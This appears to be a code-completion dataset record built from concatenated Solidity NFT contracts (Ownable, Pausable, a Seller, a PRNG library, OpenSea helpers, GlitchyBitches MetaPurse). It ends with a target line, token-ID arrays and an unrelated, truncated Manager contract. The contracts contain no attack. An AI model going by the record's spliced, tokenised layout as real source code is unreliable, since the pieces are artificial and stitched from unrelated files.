pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // Copyright (c) 2021 Divergent Technologies Ltd (github.com/divergencetech) pragma solidity >=0.8.0 <0.9.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; /// @notice A Pausable contract that can only be toggled by the Owner. contract OwnerPausable is Ownable, Pausable { /// @notice Pauses the contract. function pause() public onlyOwner { Pausable._pause(); } /// @notice Unpauses the contract. function unpause() public onlyOwner { Pausable._unpause(); } } // SPDX-License-Identifier: MIT // Copyright (c) 2021 Divergent Technologies Ltd (github.com/divergencetech) pragma solidity >=0.8.0 <0.9.0; import "../utils/OwnerPausable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; /** @notice An abstract contract providing the _purchase() function to: - Enforce per-wallet / per-transaction limits - Calculate required cost, forwarding to a beneficiary, and refunding extra */ abstract contract Seller is OwnerPausable, ReentrancyGuard { using Address for address payable; using Strings for uint256; /// @dev Note that the address limits are vulnerable to wallet farming. struct SellerConfig { uint256 totalInventory; uint256 maxPerAddress; uint256 maxPerTx; } constructor(SellerConfig memory config, address payable _beneficiary) { setSellerConfig(config); setBeneficiary(_beneficiary); } /// @notice Configuration of purchase limits. SellerConfig public sellerConfig; /// @notice Sets the seller config. function setSellerConfig(SellerConfig memory config) public onlyOwner { sellerConfig = config; } /// @notice Recipient of revenues. address payable public beneficiary; /// @notice Sets the recipient of revenues. function setBeneficiary(address payable _beneficiary) public onlyOwner { beneficiary = _beneficiary; } /** @dev Must return the current cost of a batch of items. This may be constant or, for example, decreasing for a Dutch auction or increasing for a bonding curve. @param n The number of items being purchased. */ function cost(uint256 n) public view virtual returns (uint256); /** @dev Must return the number of items already sold. This MAY be different to the total number of items in supply (e.g. ERC721Enumerable.totalSupply()) as some items may not count against the Seller's inventory. */ function totalSold() public view virtual returns (uint256); /** @dev Called by _purchase() after all limits have been put in place; must perform all contract-specific sale logic, e.g. ERC721 minting. @param to The recipient of the item(s). @param n The number of items allowed to be purchased, which MAY be less than to the number passed to _purchase() but SHALL be greater than zero. */ function _handlePurchase(address to, uint256 n) internal virtual; /** @notice Tracks the number of items already bought by an address, regardless of transferring out (in the case of ERC721). @dev This isn't public as it may be skewed due to differences in msg.sender and tx.origin, which it treats in the same way such that sum(_bought)>=totalSold(). */ mapping(address => uint256) private _bought; /** @notice Returns min(n, max(extra items addr can purchase)) and reverts if 0. @param zeroMsg The message with which to revert on 0 extra. */ function _capExtra( uint256 n, address addr, string memory zeroMsg ) internal view returns (uint256) { uint256 extra = sellerConfig.maxPerAddress - _bought[addr]; if (extra == 0) { revert(string(abi.encodePacked("Seller: ", zeroMsg))); } return Math.min(n, extra); } /// @notice Emitted when a buyer is refunded. event Refund(address indexed buyer, uint256 amount); /// @notice Emitted on all purchases of non-zero amount. event Revenue( address indexed beneficiary, uint256 numPurchased, uint256 amount ); /** @notice Enforces all purchase limits (counts and costs) before calling _handlePurchase(), after which the received funds are disbursed to the beneficiary, less any required refunds. @param to The final recipient of the item(s). @param requested The number of items requested for purchase, which MAY be reduced when passed to _handlePurchase(). */ function _purchase(address to, uint256 requested) internal nonReentrant whenNotPaused { /** * ##### CHECKS */ uint256 n = Math.min(requested, sellerConfig.maxPerTx); n = _capExtra(n, to, "Buyer limit"); bool alsoLimitSender = _msgSender() != to; bool alsoLimitOrigin = tx.origin != _msgSender() && tx.origin != to; if (alsoLimitSender) { n = _capExtra(n, _msgSender(), "Sender limit"); } if (alsoLimitOrigin) { n = _capExtra(n, tx.origin, "Origin limit"); } n = Math.min(n, sellerConfig.totalInventory - totalSold()); require(n > 0, "Sold out"); uint256 _cost = cost(n); if (msg.value < _cost) { revert( string( abi.encodePacked( "Costs ", (_cost / 1e9).toString(), " GWei" ) ) ); } /** * ##### EFFECTS */ _bought[to] += n; if (alsoLimitSender) { _bought[_msgSender()] += n; } if (alsoLimitOrigin) { _bought[tx.origin] += n; } _handlePurchase(to, n); /** * ##### INTERACTIONS */ // Ideally we'd be using a PullPayment here, but the user experience is // poor when there's a variable cost or the number of items purchased // has been capped. We've addressed reentrancy with both a nonReentrant // modifier and the checks, effects, interactions pattern. if (_cost > 0) { beneficiary.sendValue(_cost); emit Revenue(beneficiary, n, _cost); } if (msg.value > _cost) { address payable reimburse = payable(_msgSender()); uint256 refund = msg.value - _cost; // Using Address.sendValue() here would mask the revertMsg upon // reentrancy, but we want to expose it to allow for more precise // testing. This otherwise uses the exact same pattern as // Address.sendValue(). (bool success, bytes memory returnData) = reimburse.call{ value: refund }(""); // Although `returnData` will have a spurious prefix, all we really // care about is that it contains the ReentrancyGuard reversion // message so we can check in the tests. require(success, string(returnData)); emit Refund(reimburse, refund); } } } // SPDX-License-Identifier: MIT // Copyright (c) 2021 Divergent Technologies Ltd (github.com/divergencetech) pragma solidity >=0.8.0 <0.9.0; import "./Seller.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; /// @notice A Seller with fixed per-item price. abstract contract FixedPriceSeller is Seller { constructor( uint256 _price, Seller.SellerConfig memory sellerConfig, address payable _beneficiary ) Seller(sellerConfig, _beneficiary) { setPrice(_price); } /** @notice The fixed per-item price. @dev Fixed as in not changing with time nor number of items, but not a constant. */ uint256 public price; /// @notice Sets the per-item price. function setPrice(uint256 _price) public onlyOwner { price = _price; } /// @notice Override of Seller.cost() with fixed price. function cost(uint256 n) public view override returns (uint256) { return n * price; } } // SPDX-License-Identifier: MIT // Copyright (c) 2021 Divergent Technologies Ltd (github.com/divergencetech) pragma solidity >=0.8.9 <0.9.0; library PRNG { /** @notice A source of random numbers. @dev Pointer to a 4-word buffer of {seed, counter, entropy, remaining unread bits}. however, note that this is abstracted away by the API and SHOULD NOT be used. This layout MUST NOT be considered part of the public API and therefore not relied upon even within stable versions */ type Source is uint256; /// @notice Layout within the buffer. 0x00 is the seed. uint256 private constant COUNTER = 0x20; uint256 private constant ENTROPY = 0x40; uint256 private constant REMAIN = 0x60; /** @notice Returns a new deterministic Source, differentiated only by the seed. @dev Use of PRNG.Source does NOT provide any unpredictability as generated numbers are entirely deterministic. Either a verifiable source of randomness such as Chainlink VRF, or a commit-and-reveal protocol MUST be used if unpredictability is required. The latter is only appropriate if the contract owner can be trusted within the specified threat model. */ function newSource(bytes32 seed) internal pure returns (Source src) { assembly { src := mload(0x40) mstore(0x40, add(src, 0x80)) mstore(src, seed) } _refill(src); } /** @dev Hashes seed||counter, placing it in the entropy word, and resets the remaining bits to 256. Increments the counter ready for the next refill. */ function _refill(Source src) private pure { assembly { mstore(add(src, ENTROPY), keccak256(src, 0x40)) mstore(add(src, REMAIN), 256) let ctr := add(src, COUNTER) mstore(ctr, add(1, mload(ctr))) } } /** @notice Returns the specified number of bits <= 256 from the Source. @dev It is safe to cast the returned value to a uint<bits>. */ function read(Source src, uint256 bits) internal pure returns (uint256 sample) { require(bits <= 256, "PRNG: max 256 bits"); uint256 remain; assembly { remain := mload(add(src, REMAIN)) } if (remain > bits) { return readWithSufficient(src, bits); } uint256 extra = bits - remain; sample = readWithSufficient(src, remain); assembly { sample := shl(extra, sample) } _refill(src); sample = sample | readWithSufficient(src, extra); } /** @notice Returns the specified number of bits, assuming that there is sufficient entropy remaining. See read() for usage. */ function readWithSufficient(Source src, uint256 bits) private pure returns (uint256 sample) { assembly { let pool := add(src, ENTROPY) let ent := mload(pool) sample := and(ent, sub(shl(bits, 1), 1)) mstore(pool, shr(bits, ent)) let rem := add(src, REMAIN) mstore(rem, sub(mload(rem), bits)) } } /// @notice Returns a random boolean. function readBool(Source src) internal pure returns (bool) { return read(src, 1) == 1; } /** @notice Returns the number of bits needed to encode n. @dev Useful for calling readLessThan() multiple times with the same upper bound. */ function bitLength(uint256 n) internal pure returns (uint16 bits) { assembly { for { let _n := n } gt(_n, 0) { _n := shr(1, _n) } { bits := add(bits, 1) } } } /** @notice Returns a uniformly random value in [0,n) with rejection sampling. @dev If the size of n is known, prefer readLessThan(Source, uint, uint16) as it skips the bit counting performed by this version; see bitLength(). */ function readLessThan(Source src, uint256 n) internal pure returns (uint256) { return readLessThan(src, n, bitLength(n)); } /** @notice Returns a uniformly random value in [0,n) with rejection sampling from the range [0,2^bits). @dev For greatest efficiency, the value of bits should be the smallest number of bits required to capture n; if this is not known, use readLessThan(Source, uint) or bitLength(). Although rejections are reduced by using twice the number of bits, this increases the rate at which the entropy pool must be refreshed with a call to keccak256(). TODO: benchmark higher number of bits for rejection vs hashing gas cost. */ function readLessThan( Source src, uint256 n, uint16 bits ) internal pure returns (uint256 result) { // Discard results >= n and try again because using % will bias towards // lower values; e.g. if n = 13 and we read 4 bits then {13, 14, 15}%13 // will select {0, 1, 2} twice as often as the other values. for (result = n; result >= n; result = read(src, bits)) {} } /** @notice Returns the internal state of the Source. @dev MUST NOT be considered part of the API and is subject to change without deprecation nor warning. Only exposed for testing. */ function state(Source src) internal pure returns ( uint256 seed, uint256 counter, uint256 entropy, uint256 remain ) { assembly { seed := mload(src) counter := mload(add(src, COUNTER)) entropy := mload(add(src, ENTROPY)) remain := mload(add(src, REMAIN)) } } } // SPDX-License-Identifier: MIT // Copyright (c) 2021 Divergent Technologies Ltd (github.com/divergencetech) pragma solidity >=0.8.0 <0.9.0; import "./BaseOpenSea.sol"; import "../utils/OwnerPausable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol"; import "@openzeppelin/contracts/utils/Context.sol"; /** @notice An ERC721 contract with common functionality: - OpenSea gas-free listings - OpenZeppelin Enumerable and Pausable - OpenZeppelin Pausable with functions exposed to Owner only */ contract ERC721Common is BaseOpenSea, Context, ERC721Enumerable, ERC721Pausable, OwnerPausable { /** @param openSeaProxyRegistry Set to 0xa5409ec958c83c3f309868babaca7c86dcb077c1 for Mainnet and 0xf57b2c51ded3a29e6891aba85459d600256cf317 for Rinkeby. */ constructor( string memory name, string memory symbol, address openSeaProxyRegistry ) ERC721(name, symbol) { if (openSeaProxyRegistry != address(0)) { BaseOpenSea._setOpenSeaRegistry(openSeaProxyRegistry); } } /// @notice Requires that the token exists. modifier tokenExists(uint256 tokenId) { require(ERC721._exists(tokenId), "ERC721Common: Token doesn't exist"); _; } /// @notice Requires that msg.sender owns or is approved for the token. modifier onlyApprovedOrOwner(uint256 tokenId) { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721Common: Not approved nor owner" ); _; } /// @notice Overrides _beforeTokenTransfer as required by inheritance. function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override(ERC721Enumerable, ERC721Pausable) { super._beforeTokenTransfer(from, to, tokenId); } /// @notice Overrides supportsInterface as required by inheritance. function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } /** @notice Returns true if either standard isApprovedForAll() returns true or the operator is the OpenSea proxy for the owner. */ function isApprovedForAll(address owner, address operator) public view override returns (bool) { return super.isApprovedForAll(owner, operator) || BaseOpenSea.isOwnersOpenSeaProxy(owner, operator); } } // SPDX-License-Identifier: MIT // Copyright Simon Fremaux (@dievardump) // https://gist.github.com/dievardump/483eb43bc6ed30b14f01e01842e3339b/ pragma solidity ^0.8.0; /// @title OpenSea contract helper that defines a few things /// @author Simon Fremaux (@dievardump) /// @dev This is a contract used to add OpenSea's support for gas-less trading /// by checking if operator is owner's proxy contract BaseOpenSea { string private _contractURI; ProxyRegistry private _proxyRegistry; /// @notice Returns the contract URI function. Used on OpenSea to get details /// about a contract (owner, royalties etc...) /// See documentation: https://docs.opensea.io/docs/contract-level-metadata function contractURI() public view returns (string memory) { return _contractURI; } /// @notice Helper for OpenSea gas-less trading /// @dev Allows to check if `operator` is owner's OpenSea proxy /// @param owner the owner we check for /// @param operator the operator (proxy) we check for function isOwnersOpenSeaProxy(address owner, address operator) public view returns (bool) { ProxyRegistry proxyRegistry = _proxyRegistry; return // we have a proxy registry address address(proxyRegistry) != address(0) && // current operator is owner's proxy address address(proxyRegistry.proxies(owner)) == operator; } /// @dev Internal function to set the _contractURI /// @param contractURI_ the new contract uri function _setContractURI(string memory contractURI_) internal { _contractURI = contractURI_; } /// @dev Internal function to set the _proxyRegistry /// @param proxyRegistryAddress the new proxy registry address function _setOpenSeaRegistry(address proxyRegistryAddress) internal { _proxyRegistry = ProxyRegistry(proxyRegistryAddress); } } contract OwnableDelegateProxy {} contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } // SPDX-License-Identifier: MIT // Copyright (c) 2021 Divergent Technologies Ltd (github.com/divergencetech) pragma solidity >=0.8.0 <0.9.0; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; /** @title SignatureChecker @notice Additional functions for EnumerableSet.Addresset that require a valid ECDSA signature, signed by any member of the set. */ library SignatureChecker { using EnumerableSet for EnumerableSet.AddressSet; /** @notice Requires that the nonce has not been used previously and that the recovered signer is contained in the signers AddressSet. @param signers Set of addresses from which signatures are accepted. @param usedNonces Set of already-used nonces. @param signature ECDSA signature of keccak256(abi.encodePacked(data,nonce)). */ function validateSignature( EnumerableSet.AddressSet storage signers, bytes memory data, bytes32 nonce, bytes calldata signature, mapping(bytes32 => bool) storage usedNonces ) internal { require(!usedNonces[nonce], "SignatureChecker: Nonce already used"); usedNonces[nonce] = true; _validate(signers, keccak256(abi.encodePacked(data, nonce)), signature); } /** @notice Requires that the recovered signer is contained in the signers AddressSet. */ function validateSignature( EnumerableSet.AddressSet storage signers, bytes32 hash, bytes calldata signature ) internal view { _validate(signers, hash, signature); } /** @notice Hashes addr and requires that the recovered signer is contained in the signers AddressSet. @dev Equivalent to validate(sha3(addr), signature); */ function validateSignature( EnumerableSet.AddressSet storage signers, address addr, bytes calldata signature ) internal view { _validate(signers, keccak256(abi.encodePacked(addr)), signature); } /** @notice Common validator logic, requiring that the recovered signer is contained in the _signers AddressSet. */ function _validate( EnumerableSet.AddressSet storage signers, bytes32 hash, bytes calldata signature ) private view { require( signers.contains(ECDSA.recover(hash, signature)), "SignatureChecker: Invalid signature" ); } } // SPDX-License-Identifier: UNLICENSED // Copyright 2021 Arran Schlosberg (@divergencearran / @divergence_art) pragma solidity >=0.8.0 <0.9.0; import "@divergencetech/ethier/contracts/crypto/SignatureChecker.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; /// @dev Abstract the set of signers to keep primary contract smaller. contract SignerRegistry is Ownable { using EnumerableSet for EnumerableSet.AddressSet; using SignatureChecker for EnumerableSet.AddressSet; /** @notice Addresses from which we accept signatures during allow-list phase. */ EnumerableSet.AddressSet private _signers; constructor(address[] memory signers) { for (uint256 i = 0; i < signers.length; i++) { _signers.add(signers[i]); } } /// @notice Wrapper around internal signers.validateSignature(). function validateSignature(address to, bytes calldata signature) public view { _signers.validateSignature(to, signature); } /// @notice Add an address to the set of allowed signature sources. function addSigner(address signer) external onlyOwner { _signers.add(signer); } /// @notice Remove an address from the set of allowed signature sources. function removeSigner(address signer) external onlyOwner { _signers.remove(signer); } } // SPDX-License-Identifier: UNLICENSED // Copyright 2021 Arran Schlosberg (@divergencearran / @divergence_art) pragma solidity >=0.8.0 <0.9.0; import "@divergencetech/ethier/contracts/random/PRNG.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; contract MetaPurse is Ownable { using PRNG for PRNG.Source; /// @notice The primary GB contract that deployed this one. IERC721 public immutable glitchyBitches; constructor() { glitchyBitches = IERC721(msg.sender); } /// @notice Requires that the message sender is the primary GB contract. modifier onlyGlitchyBitches() { require( msg.sender == address(glitchyBitches), "Only GlitchyBitches contract" ); _; } /// @notice Total number of versions for each token. uint8 private constant NUM_VERSIONS = 6; /// @notice Carries per-token metadata. struct Token { uint8 version; uint8 highestRevealed; // Changing a token to a different version requires an allowance, // increasing by 1 per day. This is calculated as the difference in time // since the token's allowance started incrementing, less the amount // spent. See allowanceOf(). uint64 changeAllowanceStartTime; int64 spent; uint8 glitched; } /// @notice All token metadata. /// @dev Tokens are minted incrementally to correspond to array index. Token[] public tokens; /// @notice Adds metadata for a new set of tokens. function newTokens(uint256 num, bool extraAllowance) public onlyGlitchyBitches { int64 initialSpent = extraAllowance ? int64(-30) : int64(0); for (uint256 i = 0; i < num; i++) { tokens.push( Token({ version: 0, highestRevealed: 0, changeAllowanceStartTime: uint64(block.timestamp), spent: initialSpent, glitched: 0 }) ); } } /// @notice Returns tokens[tokenId].version, for use by GB tokenURI(). function tokenVersion(uint256 tokenId) external view tokenExists(tokenId) returns (uint8) { return tokens[tokenId].version; } /// @notice Tokens that have a higher rate of increasing allowance. mapping(uint256 => uint64) private _allowanceRate; /// @notice Sets the higher allowance rate for the specified tokens. /// @dev These are only set after minting because that stops people from /// waiting to mint a specific valuable piece. The off-chain data makes it /// clear that they're different, so we can't arbitrarily set these at whim. function setHigherAllowanceRates(uint64 rate, uint256[] memory tokenIds) external onlyOwner { for (uint256 i = 0; i < tokenIds.length; i++) { _allowanceRate[tokenIds[i]] = rate; } } /// @notice Requires that a token exists. function _requireTokenExists(uint256 tokenId) private view { require(tokenId < tokens.length, "Token doesn't exist"); } /// @notice Modifier equivalent of _requireTokenExists. modifier tokenExists(uint256 tokenId) { _requireTokenExists(tokenId); _; } /** @notice Requires that the message sender either owns or is approved for the token. */ modifier onlyApprovedOrOwner(uint256 tokenId) { _requireTokenExists(tokenId); require( glitchyBitches.ownerOf(tokenId) == msg.sender || glitchyBitches.getApproved(tokenId) == msg.sender, "Not approved nor owner" ); _; } /// @notice Returns the version-change allowance of the token. function allowanceOf(uint256 tokenId) public view tokenExists(tokenId) returns (uint32) { Token storage token = tokens[tokenId]; uint64 higherRate = _allowanceRate[tokenId]; uint64 rate = uint64(higherRate > 0 ? higherRate : 1); uint64 allowance = ((uint64(block.timestamp) - token.changeAllowanceStartTime) / 86400) * rate; return uint32(uint64(int64(allowance) - token.spent)); } /// @notice Reduces the version-change allowance of the token by amount. /// @dev Enforces a non-negative allowanceOf(). /// @param amount The amount by which allowanceOf() will be reduced. function _spend(uint256 tokenId, uint32 amount) internal onlyApprovedOrOwner(tokenId) { require(allowanceOf(tokenId) >= amount, "Insufficient allowance"); tokens[tokenId].spent += int64(int32(amount)); } /// @notice Costs for version-changing actions. See allowanceOf(). uint32 public REVEAL_COST = 30; uint32 public CHANGE_COST = 10; event VersionRevealed(uint256 indexed tokenId, uint8 version); /// @notice Reveals the next version for the token, if one exists, and sets /// the token metadata to show this version. /// @dev The use of _spend() limits this to owners / approved. function revealVersion(uint256 tokenId) external tokenExists(tokenId) { Token storage token = tokens[tokenId]; token.highestRevealed++; require(token.highestRevealed < NUM_VERSIONS, "All revealed"); _spend(tokenId, REVEAL_COST); token.version = token.highestRevealed; emit VersionRevealed(tokenId, token.highestRevealed); } event VersionChanged(uint256 indexed tokenId, uint8 version); /// @notice Changes to an already-revealed version of the token. /// @dev The use of _spend() limits this to owners / approved. function changeToVersion(uint256 tokenId, uint8 version) external tokenExists(tokenId) { Token storage token = tokens[tokenId]; // There's a 1-in-8 chance that she glitches. See the comment re // randomness in changeToRandomVersion(); TL;DR doesn't need to be // secure. if (token.highestRevealed == NUM_VERSIONS - 1) { bytes32 rand = keccak256(abi.encodePacked(tokenId, block.number)); if (uint256(rand) & 7 == 0) { return _changeToRandomVersion(tokenId, true, version); } } require(version <= token.highestRevealed, "Version not revealed"); require(version != token.version, "Already on version"); _spend(tokenId, CHANGE_COST); token.version = version; token.glitched = 0; emit VersionChanged(tokenId, version); } /// @notice Randomly changes to an already-revealed version of the token. /// @dev The use of _spend() limits this to owners / approved. function changeToRandomVersion(uint256 tokenId) external tokenExists(tokenId) { _changeToRandomVersion(tokenId, false, 255); } /// @notice Randomly changes to an already-revealed version of the token. /// @dev The use of _spend() limits this to owners / approved. /// @param glitched Whether this function was called due to a "glitch". /// @param wanted The version number actually requested; used to avoid /// glitching to the same value. function _changeToRandomVersion( uint256 tokenId, bool glitched, uint8 wanted ) internal { Token storage token = tokens[tokenId]; require(token.highestRevealed > 0, "Insufficient reveals"); _spend(tokenId, CHANGE_COST); // This function only requires randomness for "fun" to allow collectors // to change to an unexpected version. We don't need to protect against // bad actors, so it's safe to assume that a specific token won't be // changed more than once per block. PRNG.Source src = PRNG.newSource( keccak256(abi.encodePacked(tokenId, block.number)) ); uint256 version; for ( version = NUM_VERSIONS; // guarantee at least one read from src version >= NUM_VERSIONS || // unbiased version == token.version || version == wanted; version = src.read(3) ) {} token.version = uint8(version); token.glitched = glitched ? 1 : 0; emit VersionChanged(tokenId, uint8(version)); } /// @notice Donate version-changing allowance to a different token. /// @dev The use of _spend() limits this to owners / approved of fromId. function donate( uint256 fromId, uint256 toId, uint32 amount ) external tokenExists(fromId) tokenExists(toId) { _spend(fromId, amount); tokens[toId].spent -= int64(int32(amount)); } /// @notice Input parameter for increaseAllowance(), coupling a tokenId with /// the amount of version-changing allowance it will receive. struct Allocation { uint256 tokenId; uint32 amount; } /// @notice Allocate version-changing allowance to a set of tokens. function increaseAllowance(Allocation[] memory allocs) external onlyOwner { for (uint256 i = 0; i < allocs.length; i++) { _requireTokenExists(allocs[i].tokenId); tokens[allocs[i].tokenId].spent -= int64(int32(allocs[i].amount)); } } }
@notice An initial mint window provides minters with an extra 30 days of version-changing allowance.
bool public earlyMinting = true;
944,240
[ 1, 979, 2172, 312, 474, 2742, 8121, 1131, 5432, 598, 392, 2870, 5196, 4681, 434, 1177, 17, 343, 18183, 1699, 1359, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1426, 1071, 11646, 49, 474, 310, 273, 638, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.18; contract Manager { address public ceo; address public cfo; address public coo; address public cao; event OwnershipTransferred(address previousCeo, address newCeo); event Pause(); event Unpause(); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Manager() public { coo = msg.sender; cfo = 0x7810704C6197aFA95e940eF6F719dF32657AD5af; ceo = 0x96C0815aF056c5294Ad368e3FBDb39a1c9Ae4e2B; cao = 0xC4888491B404FfD15cA7F599D624b12a9D845725; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyCEO() { require(msg.sender == ceo); _; } modifier onlyCOO() { require(msg.sender == coo); _; } modifier onlyCAO() { require(msg.sender == cao); _; } bool allowTransfer = false; function changeAllowTransferState() public onlyCOO { if (allowTransfer) { allowTransfer = false; } else { allowTransfer = true; } } modifier whenTransferAllowed() { require(allowTransfer); _; } /** * @dev Allows the current owner to transfer control of the contract to a newCeo. * @param newCeo The address to transfer ownership to. */ function demiseCEO(address newCeo) public onlyCEO { require(newCeo != address(0)); emit OwnershipTransferred(ceo, newCeo); ceo = newCeo; } function setCFO(address newCfo) public onlyCEO { require(newCfo != address(0)); cfo = newCfo; } function setCOO(address newCoo) public onlyCEO { require(newCoo != address(0)); coo = newCoo; } function setCAO(address newCao) public onlyCEO { require(newCao != address(0)); cao = newCao; } bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyCAO whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyCAO whenPaused public { paused = false; emit Unpause(); } } contract SkinBase is Manager { struct Skin { uint128 appearance; uint64 cooldownEndTime; uint64 mixingWithId; } // All skins, mapping from skin id to skin apprance mapping (uint256 => Skin) skins; // Mapping from skin id to owner mapping (uint256 => address) public skinIdToOwner; // Whether a skin is on sale mapping (uint256 => bool) public isOnSale; // Using mapping (address => uint256) public 